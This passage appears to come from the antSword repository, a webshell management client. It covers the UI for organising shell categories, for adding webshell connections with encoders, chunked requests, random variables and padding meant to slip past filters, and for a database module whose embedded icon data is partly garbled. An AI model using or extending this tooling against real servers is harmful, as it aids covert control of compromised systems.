fa-trash"></i> ${LANG['del']['title']}` }, (_) => { layer.close(_); // 1. const ret = antSword['ipcRenderer'].sendSync('shell-clear', category); if (typeof (ret) === 'number') { toastr.success(LANG['del']['success'](category), LANG_T['success']); // 2. this .top .sidebar .callEvent('onSelect', ['default']); // 3. this .top .sidebar .items(category) .remove(); // 4. setTimeout(this.top.updateHeader.bind(this.top), 200); } else { return toastr.error(LANG['del']['error'](category, ret.toString()), LANG_T['error']); } }); } /** * * @return {[type]} [description] */ _addCategory() { this.categoryForm(`<i class="fa fa-plus-circle"></i> ${LANG['add']['title']}`).then((v) => { this .top .sidebar .callEvent('onSelect', [v]); }) } /** * * @return {[type]} [description] */ _renameCategory() { const _category = this .top .sidebar .getActiveItem(); this.categoryForm(`<i class="fa fa-font"></i> ${LANG['rename']['title']}`, _category).then((v) => { // if (v === 'default') { return toastr.warning(LANG['rename']['disable'], LANG_T['warning']); }; v = antSword.noxss(v); // if (this.top.sidebar.items(v)) { return toastr.warning(LANG['rename']['exists'], LANG_T['warning']); }; // const ret = antSword['ipcRenderer'].sendSync('shell-renameCategory', { oldName: _category, newName: v }); if (typeof ret === 'number') { // toastr.success(LANG['rename']['success'], LANG_T['success']); // this .top .sidebar .items(_category) .remove(); // this .top .sidebar .addItem({ id: v, bubble: ret, text: `<i class="fa fa-folder-o"></i> ${v}` }); // setTimeout(() => { this .top .sidebar .items(v) .setActive(); }, 233); } else { toastr.error(LANG['rename']['error'], LANG_T['error']); } }) } /** * * @param {string} title * @param {string} value * @return {[type]} [description] */ categoryForm(title, value = new Date().format('yyyyMMdd')) { return new Promise((res, rej) => { layer.prompt({ title: title, value: value }, (val, idx, ele) => { layer.close(idx); return res(val); }); }) } } module.exports = Toolbar; ```
/content/code_sandbox/source/modules/shellmanager/category/toolbar.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
1,214
```javascript /** * shellmanager::category */ const LANG = antSword['language']['shellmanager']['category']; const Toolbar = require('./toolbar'); const Sidebar = require('./sidebar'); class Category { /** * * @param {Object} cell dhtmlx.cell * @param {Object} top * @return {[type]} [description] */ constructor(cell, top) { this.top = top; // cell cell.setWidth(222); cell.fixSize(1, 0); this.cell = cell; this.toolbar = new Toolbar(cell, this); this.sidebar = new Sidebar(cell, this); this.updateHeader(); } /** * * @return {[type]} [description] */ updateHeader() { const num = this .sidebar .getAllItems() .length; this .cell .setText(`<i class="fa fa-folder"></i> ${LANG['title']} (${num})`); } } module.exports = Category; ```
/content/code_sandbox/source/modules/shellmanager/category/index.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
227
```javascript /** * */ const LANG = antSword['language']['shellmanager']['category']; class Sidebar { /** * * @param {object} cell dhtmlx.cell * @param {object} top category * @return {[type]} [description] */ constructor(cell, top) { this.top = top; const sidebar = cell.attachSidebar({ template: 'text', width: 222 }); // sidebar.addItem({ id: 'default', bubble: 0, // selected: true, text: `<i class="fa fa-folder-o"></i> ${LANG['default']}</i>` }); // sidebar sidebar.attachEvent('onSelect', this._onSelect.bind(this)); return sidebar; } /** * * @param {number} id [description] * @return {[type]} [description] */ _onSelect(id) { // ['del', 'rename'].map((_) => { this.top.toolbar[id === 'default' ? 'disableItem' : 'enableItem'](_) }); // this .top .top .reloadData({ category: id }); } } module.exports = Sidebar; ```
/content/code_sandbox/source/modules/shellmanager/category/sidebar.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
285
```javascript /** * / */ const LANG_T = antSword['language']['toastr']; const LANG = antSword['language']['shellmanager']; const ENCODES = require('../../../base/encodes'); class Form { /** * * @param {object} opt ui * @param {object} arg = {} * @param {function} callback */ constructor(opt, arg = {}, callback = false) { // win const win = this._createWin(opt); // toolbar this.toolbar = this._createToolbar(win, opt); // accordion this.accordion = this._createAccordion(win); // this.baseForm = this._createBaseForm(arg); this.httpForm = this._createHttpForm(arg); this.otherForm = this._createOtherForm(arg); // toolbar this .toolbar .attachEvent('onClick', (id) => { switch (id) { case 'clear': this .baseForm .clear(); break; case 'test': if (!this.baseForm.validate() || !this.httpForm.validate() || !this.otherForm.validate()) { return toastr.warning(LANG['list']['add']['warning'], LANG_T['warning']); }; let opts = this._parseFormData(this.baseForm.getValues(), this.httpForm.getValues(), this.otherForm.getValues()); let opt = { "url": opts.base['url'], "pwd": opts.base['pwd'], "type": opts.base['type'], "encode": opts.base['encode'], "encoder": opts.base['encoder'], "decoder": opts.base['decoder'], "httpConf": opts.http, "otherConf": opts.other } if (opt['otherConf']['use-custom-datatag'] === 1) { if (opt['otherConf']['custom-datatag-tags'] === opt['otherConf']['custom-datatag-tage']) { return toastr.warning(LANG['list']['otherConf']['customDatatag']['valideq'], LANG_T['warning']); } } win.progressOn(); let core = new antSword["core"][opt['type']](opt); core .request(core.base.info()) .then((ret) => { if (ret['text'].length > 0) { toastr.success(LANG['list']['add']['test_success'], LANG_T['success']); } else { toastr.warning(LANG['list']['add']['test_warning'], LANG_T['warning']); } win.progressOff(); }) .catch((err) => { win.progressOff(); toastr.error(JSON.stringify(err), LANG_T['error']); }); break; case 'act': // if (!this.baseForm.validate() || !this.httpForm.validate() || !this.otherForm.validate()) { return toastr.warning(LANG['list']['add']['warning'], LANG_T['warning']); }; let _opts = this._parseFormData(this.baseForm.getValues(), this.httpForm.getValues(), this.otherForm.getValues()); let _opt = { "url": _opts.base['url'], "pwd": _opts.base['pwd'], "type": _opts.base['type'], "encode": _opts.base['encode'], "encoder": _opts.base['encoder'], "decoder": _opts.base['decoder'], "httpConf": _opts.http, "otherConf": _opts.other } if (_opt['otherConf']['use-custom-datatag'] === 1) { if (_opt['otherConf']['custom-datatag-tags'] === _opt['otherConf']['custom-datatag-tage']) { return toastr.warning(LANG['list']['otherConf']['customDatatag']['valideq'], LANG_T['warning']); } } // if (callback) { win.progressOn(); setTimeout(() => { callback(_opts).then((msg) => { // / win.close(); toastr.success(msg, LANG_T['success']); }).catch((msg) => { // / win.progressOff(); toastr.error(msg, LANG_T['error']); }); }, 100); }; break; default: break; } }); } /** * win * @param {object} opts = {} (title,width,height) * @return {object} win */ _createWin(opts = {}) { let _id = String(Math.random()).substr(5, 10); // let opt = Object.assign({ title: opts['title'] || 'Window:' + _id, width: 550, height: 450 }, opts); // let win = antSword.modules.shellmanager.list.win; if (!win) { win = new dhtmlXWindows(); win.attachViewportTo(antSword.modules.shellmanager.list.cell.cell); antSword.modules.shellmanager.list.win = win; } let _win = win.createWindow(_id, 0, 0, opt['width'], opt['height']); _win.setText(opt['title']); _win.centerOnScreen(); _win .button('minmax') .show(); _win .button('minmax') .enable(); return _win; } /** * * @param {object} win [description] * @param {object} opt ui * @return {[type]} [description] */ _createToolbar(win, opt) { const toolbar = win.attachToolbar(); toolbar.loadStruct([{ id: 'act', type: 'button', icon: opt['icon'], text: opt['text'] }, { type: 'separator' }, { id: 'clear', type: 'button', icon: 'remove', text: LANG['list']['add']['toolbar']['clear'] }, { type: 'separator' }, { id: 'test', type: 'button', 'icon': 'spinner', text: LANG['list']['add']['toolbar']['test'] }]); return toolbar; } /** * Accordion * @param {[type]} win [description] * @return {[type]} [description] */ _createAccordion(win) { const accordion = win.attachAccordion({ items: [{ id: 'base', text: `<i class="fa fa-file-text"></i> ${LANG['list']['accordion']['base']}` }, { id: 'http', text: `<i class="fa fa-edge"></i> ${LANG['list']['accordion']['http']}` }, { id: 'other', text: `<i class="fa fa-cogs"></i> ${LANG['list']['accordion']['other']}` }] }); return accordion; } /** * * @param {object} arg * @return {[type]} [description] */ _createBaseForm(arg) { const opt = Object.assign({}, { url: 'path_to_url pwd: '', note: '', type: 'php', encode: 'utf8', encoder: 'default', decoder: 'default' }, arg); const form = this .accordion .cells('base') .attachForm([{ type: 'settings', position: 'label-left', labelWidth: 80, inputWidth: 400 }, { type: 'block', inputWidth: 'auto', offsetTop: 12, list: [{ type: 'input', label: LANG['list']['add']['form']['url'], name: 'url', required: true, value: opt.url }, { type: 'input', label: LANG['list']['add']['form']['pwd'], name: 'pwd', required: true, value: opt.pwd }, { type: 'input', label: LANG['list']['add']['form']['note'], name: 'note', value: opt.note }, { type: 'combo', label: LANG['list']['add']['form']['encode'], name: 'encode', readonly: true, options: this._parseEncodes(opt.encode) }, { type: 'combo', label: LANG['list']['add']['form']['type'], name: 'type', readonly: true, options: this._parseTypes(opt.type, opt.encoder, opt.decoder) }] }], true); form.attachEvent('onChange', (_, id) => { // shell if (_ == "url") { let file_match = { "php": /.+\.ph(p[345]?|s|t|tml)/, "aspx": /.+\.as(px|mx)/, "asp": /.+\.(as(p|a|hx)|c(dx|er))/, "jsp": /.+\.(jsp[x]?)/, "custom": /.+\.((jsp[x]?)|cgi)/ } let typecombo = form.getCombo('type'); let lasttype = typecombo.getSelected(); for (const key in file_match) { if (file_match[key].test(id) == true) { // phpraw jspjs if (lasttype.indexOf(key) > -1) { break; } typecombo.selectOption(typecombo.getOption(key).index); break; } } } // if (_ == "type") { let encodecombo = form.getCombo('encode'); switch (id) { case 'php': encodecombo.selectOption(encodecombo.getOption('UTF8').index); break; case 'asp': encodecombo.selectOption(encodecombo.getOption('GBK').index); break; case 'aspx': encodecombo.selectOption(encodecombo.getOption('UTF8').index); break; case 'custom': encodecombo.selectOption(encodecombo.getOption('UTF8').index); break; } } }); return form; } /** * * @param {String} _default * @return {array} [description] */ _parseEncodes(_default = 'utf8') { let ret = []; ENCODES.map((_) => { ret.push({ text: _, value: _, selected: _ === _default.toUpperCase() }); }); return ret; } /** * * @param {String} _default * @param {String} _encoder * @return {array} [description] */ _parseTypes(_default = 'php', _encoder = 'default', _decoder = 'default') { let ret = []; for (let c in antSword['core']) { // let encoders; let decoders; switch (c) { case 'php4': encoders = antSword['core']['php4'] .prototype .encoders .concat(antSword['encoders']['php']); decoders = antSword['core']['php4'] .prototype .decoders .concat(antSword['decoders']['php']); break; default: encoders = antSword['core'][c] .prototype .encoders .concat(antSword['encoders'][c]); decoders = antSword['core'][c] .prototype .decoders .concat(antSword['decoders'][c]); break; } ret.push({ text: c.toUpperCase(), value: c, selected: c === _default, list: ((c) => { let _ = [{ type: 'settings', position: 'label-right', offsetLeft: 60, labelWidth: 200 }, { type: 'label', label: LANG['list']['add']['form']['encoder'] }, { type: 'radio', name: `encoder_${c}`, value: 'default', label: `default\t(${LANG['list']['not_recommended']})`, checked: true }]; /** * v2.1.11 Remove random encoder */ // if (c !== 'custom') { // _.push({ // type: 'radio', // name: `encoder_${c}`, // value: 'random', // label: `random\t(${LANG['list']['not_recommended']})`, // checked: _encoder === 'random' // }); // } encoders.map((e) => { _.push({ type: 'radio', name: `encoder_${c}`, value: e, label: e, checked: e === _encoder }) }); _.push({ type: 'label', label: LANG['list']['add']['form']['decoder'] }); decoders.map((e) => { _.push({ type: 'radio', name: `decoder_${c}`, value: e, label: e, checked: e === _decoder }) }); return _; })(c) }); } return ret; } /** * * @param {object} base base * @param {object} http http * @param {object} other other * @return {object} {base,http,other} */ _parseFormData(base, http, other) { // base let _baseData = { url: base['url'], pwd: base['pwd'], note: base['note'], type: base['type'], encode: base['encode'], encoder: base[`encoder_${base['type']}`], decoder: base[`decoder_${base['type']}`] }; // http let [headers, bodys ] = [{}, {}]; for (let _ in http) { if (_.endsWith('value') || !http[_]) { continue } let _tmp = _.split('-'); if (_tmp[0] === 'header') { headers[http[_]] = http[_.replace(/name$/, 'value')]; } else { bodys[http[_]] = http[_.replace(/name$/, 'value')]; } } // return { base: _baseData, http: { body: bodys, headers: headers }, other: other }; } /** * * @param {object} arg * @return {[type]} [description] */ _createOtherForm(arg) { let self = this; const opt = Object.assign({}, { 'ignore-https': 0, 'use-raw-body': 0, 'use-multipart': 0, 'add-MassData': 0, 'random-Prefix': '2', 'use-random-variable': 0, 'use-chunk': 0, 'chunk-step-byte-min': 2, 'chunk-step-byte-max': 3, 'terminal-cache': 0, 'filemanager-cache': 1, 'upload-fragment': '500', 'request-timeout': '10000', 'command-path': '', 'use-custom-datatag': 0, 'custom-datatag-tags': '', 'custom-datatag-tage': '' }, arg.otherConf); const form = this .accordion .cells('other') .attachForm([{ type: 'settings', position: 'label-right', inputWidth: 400 }, { type: 'block', inputWidth: 'auto', offsetTop: 12, list: [{ type: "checkbox", name: 'ignore-https', label: LANG['list']['otherConf']['nohttps'], checked: opt['ignore-https'] === 1 }, { type: "checkbox", name: 'use-raw-body', label: LANG['list']['otherConf']['userawbody'], checked: opt['use-raw-body'] === 1 }, { type: "checkbox", name: 'use-random-variable', label: LANG['list']['otherConf']['userandomvariable'], checked: opt['use-random-variable'] === 1 }, { type: "checkbox", name: 'add-MassData', label: LANG['list']['otherConf']['addMassData'], checked: opt['add-MassData'] === 1 }, { type: "checkbox", name: 'use-multipart', label: LANG['list']['otherConf']['usemultipart'], checked: opt['use-multipart'] === 1 }, { type: 'fieldset', offsetLeft: 0, label: LANG['list']['otherConf']['chunk']['title'], list: [{ type: 'block', offsetLeft: 0, list: [{ type: "checkbox", name: 'use-chunk', label: LANG['list']['otherConf']['chunk']['usechunk'], checked: opt['use-chunk'] === 1 }] }, { type: 'block', offsetLeft: 0, list: [{ type: 'label', label: LANG['list']['otherConf']['chunk']['min'] }, { type: 'newcolumn' }, { type: 'combo', label: '/byte', validate: 'ValidNumeric', inputWidth: 50, name: "chunk-step-byte-min", options: ((items) => { let ret = []; // items++ if (items.indexOf(opt['chunk-step-byte-min']) === -1) { items.unshift(opt['chunk-step-byte-min']); } items.map((_) => { ret.push({ text: _, value: _, selected: opt['chunk-step-byte-min'] === _ }) }); return ret; })([ '2', '4', '10', '50', '100', '500' ]) }, { type: 'newcolumn' }, { type: 'label', label: LANG['list']['otherConf']['chunk']['max'], offsetLeft: 30 }, { type: 'newcolumn' }, { type: 'combo', label: '/byte', validate: 'ValidNumeric', inputWidth: 50, name: "chunk-step-byte-max", options: ((items) => { let ret = []; // items++ if (items.indexOf(opt['chunk-step-byte-max']) === -1) { items.unshift(opt['chunk-step-byte-max']); } items.map((_) => { ret.push({ text: _, value: _, selected: opt['chunk-step-byte-max'] === _ }) }); return ret; })([ '2', '4', '10', '50', '100', '500' ]) }] }] }, { type: "checkbox", name: 'terminal-cache', label: LANG['list']['otherConf']['terminalCache'], checked: opt['terminal-cache'] === 1 }, { type: "checkbox", name: 'filemanager-cache', label: LANG['list']['otherConf']['filemanagerCache'], checked: opt['filemanager-cache'] === 1 }, { type: "label", label: LANG['list']['otherConf']['randomPrefix'] }, { type: "combo", inputWidth: 100, name: "random-Prefix", options: ((items) => { let ret = []; // items++ if (items.indexOf(opt['random-Prefix']) === -1) { items.unshift(opt['random-Prefix']); } items.map((_) => { ret.push({ text: _, value: _, selected: opt['random-Prefix'] === _ }) }); return ret; })(['1', '2', '3', '5', '10', '15']) }, { type: "label", label: LANG['list']['otherConf']['uploadFragment'] }, { type: "combo", label: '/kb', inputWidth: 100, name: "upload-fragment", options: ((items) => { let ret = []; // items++ if (items.indexOf(opt['upload-fragment']) === -1) { items.unshift(opt['upload-fragment']); } items.map((_) => { ret.push({ text: _, value: _, selected: opt['upload-fragment'] === _ }) }); return ret; })([ '500', '400', '200', '100', '50', '10' ]) }, { type: "label", label: LANG['list']['otherConf']['requestTimeout'] }, { type: "combo", label: '/ms', inputWidth: 100, name: "request-timeout", options: ((items) => { let ret = []; // items++ if (items.indexOf(opt['request-timeout']) === -1) { items.unshift(opt['request-timeout']); } items.map((_) => { ret.push({ text: _, value: _, selected: opt['request-timeout'] === _ }) }); return ret; })(['5000', '10000', '30000', '60000']) }, { type: 'label', label: LANG['list']['otherConf']['commandPath'] }, { type: 'combo', name: 'command-path', inputWidth: 200, options: ((items) => { let ret = []; // items++ if (items.indexOf(opt['command-path']) === -1) { items.unshift(opt['command-path']); } items.map((_) => { ret.push({ text: _, value: _, selected: opt['command-path'] === _ }) }); return ret; })(['/bin/sh', 'cmd']) }, { type: 'fieldset', offsetLeft: 0, label: LANG['list']['otherConf']['customDatatag']['title'], list: [{ type: 'block', offsetLeft: 0, list: [{ type: "checkbox", name: 'use-custom-datatag', label: LANG['list']['otherConf']['customDatatag']['usecustomdatatag'], checked: opt['use-custom-datatag'] === 1 }] }, { type: 'block', offsetLeft: 0, list: [{ type: 'label', label: LANG['list']['otherConf']['customDatatag']['tags'] }, { type: 'newcolumn' }, { type: 'combo', label: '', validate: '', inputWidth: 80, name: "custom-datatag-tags", options: ((items) => { let ret = []; // items++ if (items.indexOf(opt['custom-datatag-tags']) === -1) { items.unshift(opt['custom-datatag-tags']); } items.map((_) => { ret.push({ text: _, value: _, selected: opt['custom-datatag-tags'] === _ }) }); return ret; })([ '->|', '~~>|', '__}|' ]) }, { type: 'newcolumn' }, { type: 'label', label: LANG['list']['otherConf']['customDatatag']['tage'], offsetLeft: 30 }, { type: 'newcolumn' }, { type: 'combo', label: '', validate: '', inputWidth: 80, name: "custom-datatag-tage", options: ((items) => { let ret = []; // items++ if (items.indexOf(opt['custom-datatag-tage']) === -1) { items.unshift(opt['custom-datatag-tage']); } items.map((_) => { ret.push({ text: _, value: _, selected: opt['custom-datatag-tage'] === _ }) }); return ret; })([ '|<-', '|<~~', '|{~~' ]) }] }] }] }], true); form.attachEvent('onChange', (name, value, state) => { switch (name) { case 'use-raw-body': let chosetype = self.baseForm.getItemValue("type"); if (!antSword.core[chosetype].supportRawBody && state == true) { // layer.open({ title: LANG_T['info'], content: LANG['list']['otherConf']['userawbodyNotSupport'] }); form.uncheckItem('use-raw-body'); } break; case 'use-multipart': if (state == true && form.isItemChecked('use-chunk')) { form.uncheckItem('use-chunk'); } break; case 'use-chunk': if (state == true && form.isItemChecked('use-multipart')) { form.uncheckItem('use-multipart'); } // case 'add-MassData': // if (state == true && form.isItemChecked('add-MassData')) { // form.uncheckItem('add-MassData'); // } if (state == true) { layer.open({ title: LANG_T['info'], content: LANG['list']['otherConf']['chunk']['exphint'] }); } break; case 'use-custom-datatag': if (state == true && form.isItemChecked('use-custom-datatag')) { layer.open({ title: LANG_T['info'], content: LANG['list']['otherConf']['customDatatag']['exphint'] }) } break; default: break; } }); return form; } /** * HTTP * @param {object} arg [description] * @return {[type]} [description] */ _createHttpForm(arg) { const opt = Object.assign({}, { headers: {}, body: {} }, arg.httpConf); const cell = this .accordion .cells('http'); // toolbar const toolbar = cell.attachToolbar(); toolbar.loadStruct([{ id: 'add-header', type: 'button', icon: 'plus-square-o', text: 'Header' }, { type: 'separator' }, { id: 'add-body', type: 'button', icon: 'plus-square-o', text: 'Body' }]); // const form = cell.attachForm([{ type: 'block', inputWidth: 'auto', offsetTop: 12, name: 'header', list: [{ type: "label", label: "HTTP HEADERS" }] }, { type: 'block', inputWidth: 'auto', offsetTop: 12, name: 'body', list: [{ type: "label", label: "HTTP BODY" }] }], true); // Header let _headerCount = 0; const _addHeader = (name = '', value = '') => { _headerCount++; form.addItem('header', { type: "fieldset", label: `#${_headerCount}`, inputWidth: 480, list: [{ type: "input", name: `header-${_headerCount}_name`, inputWidth: 350, labelWidth: 50, label: "Name", value: name }, { type: "input", name: `header-${_headerCount}_value`, inputWidth: 350, labelWidth: 50, label: "Value", value: value }] }) } // Body let _bodyCount = 0; const _addBody = (name = '', value = '') => { _bodyCount++; form.addItem('body', { type: "fieldset", label: `#${_bodyCount}`, inputWidth: 480, list: [{ type: "input", name: `body-${_bodyCount}_name`, inputWidth: 350, labelWidth: 50, label: "Name", value: name }, { type: "input", name: `body-${_bodyCount}_value`, inputWidth: 350, labelWidth: 50, label: "Value", value: value }] }) } // toolbar toolbar.attachEvent('onClick', (id, e) => { switch (id) { case 'add-header': _addHeader(); break; case 'add-body': _addBody(); break; } }); // for (let _ in opt.headers) { _addHeader(_, opt.headers[_]); } for (let _ in opt.body) { _addBody(_, opt.body[_]); } // if (_headerCount === 0) { _addHeader(); } if (_bodyCount === 0) { _addBody(); } return form; } } module.exports = Form; ```
/content/code_sandbox/source/modules/shellmanager/list/form.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
6,546
```javascript // // // // TODO: core import React from // 'react'; import ReactDOM from 'react-dom'; import AceEditor from 'react-ace'; const LANG = antSword['language']['database']; const LANG_T = antSword['language']['toastr']; const crypto = require('crypto'); class Database { constructor(opt) { this.hash = (+new Date * Math.random()).toString(16).substr(2, 8); this.opt = opt; let config = { bookmarks: {} }; this.config = JSON.parse(antSword['storage']("adefault_database", false, JSON.stringify(config))); // UI const tabbar = antSword['tabbar']; tabbar.addTab(`tab_database_${this.hash}`, `<i class="fa fa-database"></i> ${opt['ip']}`, null, null, true, true); this.cell = tabbar.cells(`tab_database_${this.hash}`); this.cell.progressOn(); // layout this.layout_main = this.cell.attachLayout('2U'); this.layout_right = this.layout_main.cells('b').attachLayout('2E'); this.list = this.initList(this.layout_main.cells('a')); this.query = this.initQuery(this.layout_right.cells('a')); this.result = this.initResult(this.layout_right.cells('b')); this.win = new dhtmlXWindows(); this.win.attachViewportTo(this.cell.cell); // const _module = require(`./${opt['type']}/index`); this.drive = new _module({ core: new antSword['core'][opt['type']](opt), super: this }); this.cell.progressOff(); } // initList(layout) { layout.setText(`<i class="fa fa-server"></i> ${LANG['list']['title']}`); layout.setWidth('270'); // tree const imgs = [ // connect 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABEAAAAPCAQAAACouOyaAAAABGdBTUEAAL' + 'GPC/your_sha256_hashAAAmJLR0QAAK' + 'qNIzIAAAAJcEhZcwAAAGQAAABkAA+Wxd0AAAEUSURBVCjPddA9S1txAIXx370JwVCJ0YRCI4FARl2EOr' + 'rZdu4USjt0yDewg7uLk1/AF0gcXJylu7MQEUpbaCHcraGNbSik6r1/h2ZIhpzpnIdnOkxnz8B3A/vTMJ' + '5RarpeOFGbr0RSYw+zdFb5ouXSO5/NzYJDQUdxGuZBVVGEIEOmOlljAyKxNz5YFoGykpEhCH47cBqp+O' + 'i5X/6Bkif++gMKKnpe8cwnd95qamo6EnQnvWXsq3peEASJb2CI20l/KhOE2IqCWEWMBUsoKSJWlVOwwp' + 'VE4sYmdvQl+nax4Voi0Ys1tG0bqWPNuS1n1rFq7KX3arFMKpUJCNLJ+v9RKpXlZY7dW/QTP7S9VtbBUM' + your_sha256_hashk6MzQrMDg6MDAa6y' + your_sha256_hashBnWAAAAE50RVh0c2' + your_sha256_hashE5IGh0dHA6Ly93d3' + your_sha256_hashRlZCBieSBJY29Nb2' + '9uLmlvIDDLy0gAAAAYdEVYdFRodW1iOjpEb2N1bWVudDo6UGFnZXMAMaf/uy8AAAAYdEVYdFRodW1iOj' + your_sha256_hashgANzExhvGGCAAAAB' + 'l0RVh0VGh1bWI6Ok1pbWV0eXBlAGltYWdlL3BuZz+yVk4AAAAXdEVYdFRodW1iOjpNVGltZQAxMzk4OT' + your_sha256_hashRodW1iOjpVUkkAZm' + your_sha256_hashlpY29uLmNuL3NyYy' + '8xMTU4Mi8xMTU4Mjc4LnBuZwIRWX8AAAAASUVORK5CYII=', // databass 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAPCAQAAAB+HTb/AAAABGdBTUEAAL' + 'GPC/your_sha256_hashAAAmJLR0QAAK' + 'qNIzIAAAAJcEhZcwAAAGQAAABkAA+Wxd0AAAEXSURBVBjTZck/S5RxAADg5+f75+5t8NTUSktEKCGCFp' + your_sha256_hashbsrz/OHPrqLFiy6d' + 'KRXEMLmWHvzXlpm1xN6l+pmrzHiKbivyw0jQR36o4cqGtqo6TfpAXz3gUnNnwwpYIHxLiR+247lmnYkh' + 'jQL0PLFda0lWOpVUN+amjoIih75dqiUnBsVcWEVEcHkUjHrbrdWMWQfd+UPZOicKfkk3u9sUdzXvjl3I' + '0WEs+your_sha256_hashDxq2YNyr1iB' + '6Fc4f2nD4BUO1Rv9s0w+gAAAAldEVYdGRhdGU6Y3JlYXRlADIwMTUtMDctMjVUMjE6NTA6MjYrMDg6MD' + your_sha256_hashAwTl0AHAAAAE50RV' + your_sha256_hashA3LTE5IGh0dHA6Ly' + your_sha256_hashVyYXRlZCBieSBJY2' + '9Nb29uLmlvIDDLy0gAAAAYdEVYdFRodW1iOjpEb2N1bWVudDo6UGFnZXMAMaf/uy8AAAAYdEVYdFRodW' + your_sha256_hashlkdGgANjI03HRLcw' + 'AAABl0RVh0VGh1bWI6Ok1pbWV0eXBlAGltYWdlL3BuZz+yVk4AAAAXdEVYdFRodW1iOjpNVGltZQAxMz' + your_sha256_hashVYdFRodW1iOjpVUk' + your_sha256_hashVhc3lpY29uLmNuL3' + 'NyYy8xMTU3Ny8xMTU3NzMyLnBuZxOTOSYAAAAASUVORK5CYII=', // table 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAQAAAC1+jfqAAAABGdBTUEAAL' + 'GPC/your_sha256_hashAAAmJLR0QAAK' + your_sha256_hashaHQXo6kKYswmQUhP' + 'KT/Yl20sRQ0qKLGFjo11GW0w4t7unK/eRZ7qBsQ/BX3oMb+/j+5RjQDab//COaepUhSryZLGiLvnM7dp' + your_sha256_hashnO9KJMzwMyQ49zzb' + 'pJVFC2iURUlggSUZKrEHxq+kDJkdtch9q5julrqKs713I911WuXpTpusfYQFdnQZPZDkFVUcVAmO8QVM' + your_sha256_hash0yNVQyMTo1MDozMi' + your_sha256_hashcrMDg6MDA8MBsjAA' + your_sha256_hashIwMTUtMDctMTkgaH' + your_sha256_hashAgR2VuZXJhdG9yOi' + your_sha256_hashf/uy8AAAAYdEVYdF' + your_sha256_hasho6V2lkdGgANTMzWU' + '1RyAAAABl0RVh0VGh1bWI6Ok1pbWV0eXBlAGltYWdlL3BuZz+yVk4AAAAXdEVYdFRodW1iOjpNVGltZQ' + 'AxMzk2NzQ5MTk37+your_sha256_hash + your_sha256_hash1nLmVhc3lpY29uLm' + 'NuL3NyYy8xMTQzNS8xMTQzNTI4LnBuZ1baGAoAAAAASUVORK5CYII=', // column 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAPCAQAAABHeoekAAAABGdBTUEAAL' + 'GPC/your_sha256_hashAAAmJLR0QAAK' + your_sha256_hashAHElgYWBjYkAT+Mz' + your_sha256_hashhQ+F+Z0BzFiM5HV4' + 'ABhoiC/yj8f+your_sha256_hashUtMD' + your_sha256_hashEyLTE5VDE4OjU2Oj' + your_sha256_hashAgUTE2IHg4Nl82NC' + your_sha256_hashh0c3ZnOmNvbW1lbn' + your_sha256_hashJ0IFBsdWctSW4gLi' + your_sha256_hashRvY3VtZW50OjpQYW' + 'dlcwAxp/+7LwAAABh0RVh0VGh1bWI6OkltYWdlOjpIZWlnaHQAMjY1W+dGYAAAABd0RVh0VGh1bWI6Ok' + your_sha256_hashUvcG5nP7JWTgAAAB' + your_sha256_hashl6ZQAxLjEzS0JCW7' + your_sha256_hashFzeWljb24ubmV0L2' + your_sha256_hashBJRU5ErkJggg==' ]; // toolbar const toolbar = layout.attachToolbar(); toolbar.loadStruct([{ id: 'add', text: LANG['list']['add'], icon: 'plus-circle', type: 'button' }, { type: 'separator' }, { id: 'edit', text: LANG['list']['edit'], icon: 'edit', type: 'button', disabled: true }, { type: 'separator' }, { id: 'del', text: LANG['list']['del'], icon: 'trash-o', type: 'button', disabled: true }, { type: 'separator' }, { id: 'check', text: LANG['list']['check'], icon: 'spinner', type: 'button' }]); toolbar.attachEvent('onClick', (id) => { switch (id) { case 'add': this .drive .addConf(); break; case 'del': this .drive .delConf(); break; case 'edit': this .drive .editConf(); break; case 'check': // this.checkprobe(); break; } }); return { imgs: imgs, layout: layout, toolbar: toolbar }; } // ::SQL initQuery(layout) { let self = this; layout.setText(`<i class="fa fa-code"></i> ${LANG['query']['title']}`); layout.setHeight('200'); let editor; // SQL editor = ace.edit(layout.cell.lastChild); editor.$blockScrolling = Infinity; editor.setTheme('ace/theme/tomorrow'); editor.session.setMode('ace/mode/sql'); editor.session.setUseWrapMode(true); editor.session.setWrapLimitRange(null, null); editor.setOptions({ fontSize: '14px', enableBasicAutocompletion: true, enableSnippets: true, enableLiveAutocompletion: true }); // editor.commands.addCommand({ name: 'exec', bindKey: { win: 'Ctrl-E', mac: 'Command-E' }, exec: () => { toolbar.callEvent('onClick', ['exec']); } }); editor.session.setValue("SELECT 'Hello antSword :)' AS welcome;"); // SQLtoolbar const toolbar = layout.attachToolbar(); let bookmark = JSON.parse(this.storage('dbbookmarks').get('{}')); let reloadToolbar = () => { let bookmark_opts = [{ id: 'bookmark_add', type: 'button', icon: 'plus-circle', text: LANG['query']['bookmark']['add'], // enabled: // !!bookmark[Buffer.from(editor.session.getValue()).toString('base64')], }]; let global_bookmarks = this.config.bookmarks || {}; if (Object.keys(global_bookmarks).length > 0) { bookmark_opts.push({ type: 'separator' }); for (let gb in global_bookmarks) { bookmark_opts.push({ id: 'bookmark_' + global_bookmarks[gb], text: antSword.noxss(gb), icon: 'bookmark', type: 'button', // enabled: Buffer.from(editor.session.getValue()).toString('base64') != // global_bookmarks[gb] , }); } } if (!$.isEmptyObject(bookmark)) { bookmark_opts.push({ type: 'separator' }); }; for (let _ in bookmark) { bookmark_opts.push({ id: 'bookmark_' + _, // _ base64 text: antSword.noxss(bookmark[_]), icon: 'bookmark-o', type: 'button', // enabled: Buffer.from(editor.session.getValue()).toString('base64') != _ , }); } // if (bookmark_opts.length > 2) { bookmark_opts.push({ type: 'separator' }); bookmark_opts.push({ id: 'bookmark_remove', icon: 'remove', text: LANG['query']['bookmark']['del'], type: 'button' }); bookmark_opts.push({ id: 'bookmark_clear', icon: 'trash-o', text: LANG['query']['bookmark']['clear'], type: 'button' }); }; let btnstatus = {}; ['exec', 'clear'].map((btn) => { try { 